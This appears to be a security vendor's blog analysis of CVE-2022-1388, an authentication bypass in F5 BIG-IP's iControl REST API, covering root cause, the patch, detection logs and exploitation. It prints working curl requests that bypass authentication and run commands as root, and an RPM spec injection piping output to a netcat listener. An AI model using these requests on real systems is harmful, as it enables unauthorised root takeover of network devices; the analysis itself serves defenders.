Rapid7
Back to Blog
Threat Research

Rapid7 Analysis: CVE-2022-1388

Rapid7 Labs
Rapid7 Labs
|Last updated on Jun 16, 2026|12 min read

Overview

On May 4, 2022, F5 released an advisory listing several vulnerabilities, including CVE-2022-1388, a critical authentication bypass that leads to remote code execution in the iControl REST interface with a CVSSv3 base score of 9.8.

The vulnerability affects several different versions of F5 BIG-IP prior to 17.0.0, including:

  • F5 BIG-IP 16.1.0 - 16.1.2 (patched in 16.1.2.2)
  • F5 BIG-IP 15.1.0 - 15.1.5 (patched in 15.1.5.1)
  • F5 BIG-IP 14.1.0 - 14.1.4 (patched in 14.1.4.6)
  • F5 BIG-IP 13.1.0 - 13.1.4 (patched in 13.1.5)
  • F5 BIG-IP 12.1.0 - 12.1.6 (no patch available, will not fix)
  • F5 BIG-IP 11.6.1 - 11.6.5 (no patch available, will not fix)

On Monday, May 9, 2022, Horizon3 released a full proof of concept, which we successfully executed to get a root shell. Other groups have developed exploits, and a Metasploit module is currently in development. We will analyze Horizon3’s exploit, the root cause, an additional avenue of attack, and how the patch works.

Active Exploitation

Over the past few days, BinaryEdge has detected an increase in scanning and exploitation on the internet. Others on Twitter have also observed exploitation attempts. Due to the ease of exploiting this vulnerability, the public exploit code, and the fact that it provides root access, exploitation attempts are likely to increase.

Widespread exploitation is somewhat mitigated by the small number of internet-facing F5 BIG-IP devices, however; our best guess is that there are only about 2,500 targets on the internet.

Proof of Concept

We chose a representative (but meaningless) page from F5’s API documentation, and tested it on the latest unpatched version - 16.1.2.1 (download page requires a free account). By default, with no authentication, it will fail:

$ curl -sk --head https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
HTTP/1.1 401 F5 Authorization Required
Server: Apache
WWW-Authenticate: Basic realm="Enterprise Manager"
Content-Type: text/html; charset=iso-8859-1
[...]

If we provide an account, however, it will return successfully (the actual content doesn’t matter, just the HTTP/200 response):

$ curl -u admin:admin -sk --head https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
HTTP/1.1 200 OK
Server: Jetty(9.2.22.v20170606)
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:  http://127.4.1.1 http://127.4.2.1
[...]

Note that the server header changes from Apache to Jetty - that’ll be important later! Instead of using HTTP Basic authentication, F5 BIG-IP also permits token-based logins. We obtain a token using /mgmt/shared/authn/login, as shown below:

$ curl -X POST -sk https://bigip-16-1-2-1-unpatched.local/mgmt/shared/authn/login --data '{"state": "", "username": "admin", "password": "admin"}' | jq '.token'
{
  "token": "XIGEA3CUCVFQ5DKW476OBWNTFA",
  "name": "XIGEA3CUCVFQ5DKW476OBWNTFA",
  "userName": "admin",
  "authProviderName": "local",
  "user": {
    "link": "https://localhost/mgmt/shared/authz/users/admin"
  },
  "groupReferences": [],
  "timeout": 1200,
  "startTime": "2022-05-10T12:37:29.288-0700",
  "address": "10.0.0.123",
  "partition": "[All]",
  "generation": 1,
  "lastUpdateMicros": 1652211449287217,
  "expirationMicros": 1652212649288000,
  "kind": "shared:authz:tokens:authtokenitemstate",
  "selfLink": "https://localhost/mgmt/shared/authz/tokens/XIGEA3CUCVFQ5DKW476OBWNTFA"
}

That token can be passed as an X-F5-Auth-Token header when performing an iControl REST API call:

$ curl -sk -H 'X-F5-Auth-Token: XT37WQQD5OTMBJL4A7G3TJRSNU' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
{"kind":"tm:ltm:pool:poolcollectionstate","selfLink":"https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1","items":[]}

Whereas a bad token will print an error:

$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
{"code":401,"message":"X-F5-Auth-Token does not exist.","referer":"10.0.0.123","restOperationId":6655303,"kind":":resterrorresponse"}

Now, using the technique shown in Horizon3’s PoC, we can use an invalid token successfully with the following request:

$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host: 127.0.0.1' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
{"kind":"tm:ltm:pool:poolcollectionstate","selfLink":"https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1","items":[]}

Despite the bad token and invalid password, this request works! Let’s look at why.

Technical Analysis

We pointed out earlier that replies to different requests appear to come from different servers - one came from Apache and the other from Jetty(9.2.22.v20170606) (on older versions you might see Tomcat instead). What’s going on here?

If we look at the list of listening ports, we see two different HTTP servers are running (this is from version 16.1.2.1, this is a bit different on older versions):

[root@localhost:NO LICENSE:Standalone] # netstat -pn --listening | egrep '(443|8100)'
tcp6       0      0 127.0.0.1:8100          :::*                    LISTEN      7117/java           
tcp6       0      0 :::443                  :::*                    LISTEN      4312/httpd

[root@localhost:NO LICENSE:Standalone] # ps aux -q 4312,7117
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      4312  0.0  0.1 122484  5164 ?        Ss   13:03   0:00 /usr/sbin/httpd -DTrafficShield -DAVRUI -DSAM
root      7117  7.7  7.7 1860980 311744 ?      Sl   13:03   0:40 /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/bin/java [...]

The httpd server is Apache, which runs the front end, and the java server is actually jetty, which runs the iControl REST API.

Typically, a user authenticates to the front-end Apache server using a username / password or a BIGIPAuthCookie cookie. If either exists, Apache handles authentication (using the module /etc/httpd/modules/mod_auth_pam.so, which we’ll look at later when we discuss the patch):

$ curl -i -sk -u invalid:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Apache

$ curl -i -sk -b 'BIGIPAuthCookie=invalidauth' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Apache

If either of those are correct, Apache affirms that the user is valid and passes the request to the backend, which runs on localhost:8100. The backend does not validate the request in those cases — it accepts it on merit. It’s from Apache, after all, so it must be valid! Note the invalid password when connecting straight to localhost:8100:

[root@localhost:NO LICENSE:Standalone] # curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq
{
  "kind": "tm:ltm:pool:poolcollectionstate",
  "selfLink": "https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1",
  "items": []
}

Note that connecting directly to localhost:8100 with no authentication still works on fully patched versions! The backend does, however, require a valid username, which it gets from the Authorization header (ignoring the password).

If we add an X-F5-Auth-Token header to the same request, it fails - this is very important:

# curl -sH "Content-Type: application/json" -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq
{
  "code": 401,
  "message": "X-F5-Auth-Token does not exist.",
  "referer": "Unknown",
  "restOperationId": 7193848,
  "kind": ":resterrorresponse"
}

What’s happening is this: on the unpatched server, the Apache frontend validates the authentication information if it’s a cookie or HTTP basic authentication, but the Jetty backend validates it if it’s a X-F5-Auth-Token. We can see that this behavior changed between the unpatched and patched versions:

$ curl -i -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Jetty(9.2.22.v20170606)

$ curl -i -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw https://bigip-16-1-2-2-patched.local/mgmt/tm/ltm/pool | grep 'Server:'
Server: Apache

To summarize what we’ve learned about the vulnerable version so far: if a user is authenticating with a cookie or HTTP Basic authentication, Apache validates it using mod_auth_pam.so and passes it to the backend with no token. If, however, the request contains a token, the request — token and all — is forwarded to the backend for validation (unless the server has been patched).

You might think this if A authenticate here, if B authenticate there situation sounds like a really bad idea, and you’d be right. That’s why we’re here!

In essence, the exploit confuses the front end to think we should authenticate to the backend (by setting a token), but also confuses the back end to think we already authenticated (by including the X-F5-Auth-Token, then using Connection to remove it. Both assume the other did the work, but neither of them authenticated the user!

The Patch

Traditionally, F5 BIG-IP stores authentication tokens (that is, cookies) in the /var/run/pamcache folder:

[root@localhost:NO LICENSE:Standalone] # ls /var/run/pamcache/
3C9D8D962E99CD1476936BEEB6125EA8A6AC7099

If the user sends a cookie, the front end uses the entries in that directory to validate the cookie. Previously, only cookies were stored in that folder, and the front end only validated the token if it was in a cookie.

In the patch, F5 updated the back end, /usr/share/java/rest/f5.rest.jar, which is one of the .jar files used by Jetty. Using a Java decompiler, we decompiled the .jar file into Java source. The patch from 16.1.2.1 to 16.1.2.2 has a substantial number of changes, so instead we compared 13.1.4.1 with 13.1.5. Our logic was, being the oldest version, it probably only got the security fix and no functionality / cosmetic changes.

That turned out to be correct, because that patch only makes two major changes. The important one is an update to com/f5/rest/workers/AuthTokenWorker.java, which includes the following new function:

public void writeTokenFile(AuthTokenItemState state) {
  final String path = UrlHelper.buildUriPath(new String[] { "/var/run/pamcache", state.token });
  final AsynchronousFileChannel fileChannel = createFileChannel(path, new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.WRITE });

  // [...]

  String str = state.userName + "\n" + state.address;
  fileChannel.write(ByteBuffer.wrap(str.getBytes()), 0L, String.format("Writing auth-token file", new Object[0]), completion);
}

Basically, it writes the token (the value from X-F5-Auth-Token) to /var/run/pamcache/<token>, along with all the cookies. They also added code to chcon the file for SELinux’s sake - probably they struggled with figuring out why Apache couldn’t read the file written by Java before realizing that SELinux was preventing it (anybody who’s used an SELinux system knows that struggle!).

The corresponding change to the front end can be found in mod_auth_pam.so, which looks something like:

.text:00005B08                 mov     ecx, [ebp+var_27BC]
.text:00005B0E                 lea     eax, (aXF5AuthToken - 0AAF0h)[ebx] ; "X-F5-Auth-Token"
.text:00005B14                 mov     [esp+4], eax
.text:00005B18                 mov     eax, [ecx+0A0h]
.text:00005B1E                 mov     [esp], eax
.text:00005B21                 call    _apr_table_get ; Read X-F5-Auth-Token from headers
.text:00005B26                 test    eax, eax
.text:00005B28                 mov     [ebp+f5authtokenpointer], eax ; Store X-F5-Auth-Token value

; [...]

.text:0000631D                 mov     edi, [ebp+f5authtokenpointer]
.text:00006323                 lea     eax, (aVarRunPamcache_0 - 0AAF0h)[ebx] ; "/var/run/pamcache/%s"
.text:00006329                 lea     esi, [ebp+var_2684]
.text:0000632F                 mov     [esp+0Ch], edi
.text:00006333                 mov     [esp+8], eax
.text:00006337                 mov     dword ptr [esp+4], 1000h
.text:0000633F                 mov     [esp], esi
.text:00006342                 call    _apr_snprintf ; Build the path, /var/run/pamcache/<token>
.text:00006347                 mov     dword ptr [esp+4], 0
.text:0000634F                 mov     [esp], esi
.text:00006352                 call    _access ; Make sure it has access
.text:00006357                 cmp     eax, 0FFFFFFFFh
.text:0000635A                 jz      loc_64D9
.text:00006360                 lea     eax, (aReferer+6 - 0AAF0h)[ebx] ; "r"
.text:00006366                 mov     [esp], esi
.text:00006369                 mov     [esp+4], eax
.text:0000636D                 call    _fopen ; Open the token file

; [... validate the token ...]

Basically, they added the capability for the front end to validate the token issued by the back end before passing the request to the back end. This solution is hacky at best, but it does fix the immediate issue!

Exploit

The public exploit developed by Horizon3 uses the /mgmt/tm/util/bash endpoint, which is an endpoint, present on all versions, that can execute code remotely on behalf of an authorized used. We really appreciate it when applications build-in code execution! With proper authentication, even a fully patched server (16.1.2.2) will run a command using that endpoint:

$ curl -sk -u admin:admin -H 'Content-Type: application/json' https://bigip-16-1-2-2-patched.local/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult'
"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"

The same endpoint on a vulnerable version will execute just fine with the bypass:

$ curl -sk -H 'Content-Type: application/json' -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host: 127.0.0.1' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult'
"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"

While testing, before we knew about /mgmt/tm/util/bash, we actually devised a much more complicated way to run code: RPM specification injection! We’ll show that method here, because it’s conceivable that an attacker might use it to evade detection. It’s also kinda interesting!

This curl request creates an RPM .spec file, but injects newlines into the description field along with a %check header. That section of an RPM .spec runs after a package is created, and contains commands that are supposed to validate the package. In our case, the new %check section executes id | nc 10.0.0.123 4444:

$ curl -uadmin:admin -H "Content-Type: application/json" -X POST -sk https://bigip-16-1-2-2-patched.local/mgmt/shared/iapp/rpm-spec-creator --data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nid | nc 10.0.0.123 4444", "summary": "test9"}}' | jq --raw-output '.specFilePath'
/var/config/rest/node/tmp/1b89e446-e78a-435a-b6ee-c98c58284090.spec

That endpoint returns a path to a .spec file. This endpoint consumes that .spec to build a package:

$ curl -X POST -sku admin:admin https://bigip-16-1-2-2-patched.local/mgmt/shared/iapp/build-package --data '{"state": {}, "appName": "test", "packageDirectory": "/tmp", "specFilePath": "/var/config/rest/node/tmp/1b89e446-e78a-435a-b6ee-c98c58284090.spec", "force": true }'

When the package builds, the command we embedded executes and we get a connection to our listener:

$ nc -l -p 4444
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

Like the other code-execution endpoint, this technique works on the patched version (16.1.2.2) with a valid account, or an unpatched version using the bypass. Executing code here probably isn’t intentional, but it requires an administrative account to execute.

IoCs

We could not find a way to distinguish between exploit payloads and legitimate command runs via the API. That being said, shell commands executing via the API should be uncommon enough to identify actual attacks. The best resource we found was searching /var/log/audit for commands executed by icrd_child:

[root@localhost:NO LICENSE:Standalone] # grep pid=$(pgrep 'icrd_child') /var/log/audit
May 10 09:58:16 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c whoami
May 10 09:58:34 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c whoami
May 10 10:52:47 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 10:52:53 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 12:05:41 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 12:06:07 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
May 10 12:07:00 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id

Another helpful log is /var/log/restjavad-audit.0.log, which tracks all API access. If your organization uses the API, this might have more entries in it, but we can see our bash commands being executed here:

[root@localhost:NO LICENSE:Standalone] # tail -n3 /var/log/restjavad-audit.0.log
[I][223][10 May 2022 17:52:53 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":"10.0.0.123"}
[I][230][10 May 2022 19:05:41 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":"10.0.0.123"}
[I][231][10 May 2022 19:06:07 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":"10.0.0.123"}

In addition to /mgmt/tm/util/bash, which is used by public exploits, checking for access to the /mgmt/shared/iapp/rpm-spec-creator endpoint can detect exploit attempts using the alternative endpoint that we identified.

References

  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
  • Advisory: https://support.f5.com/csp/article/K55879220 and https://support.f5.com/csp/article/K23605346
  • Initial public PoC: https://github.com/horizon3ai/CVE-2022-1388
  • API documentation: https://clouddocs.f5.com/api/icontrol-rest/
  • Deep dive from Horizon3: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
LinkedInFacebookXBluesky

Article Tags

Rapid7 Labs
Rapid7 Labs
Author Posts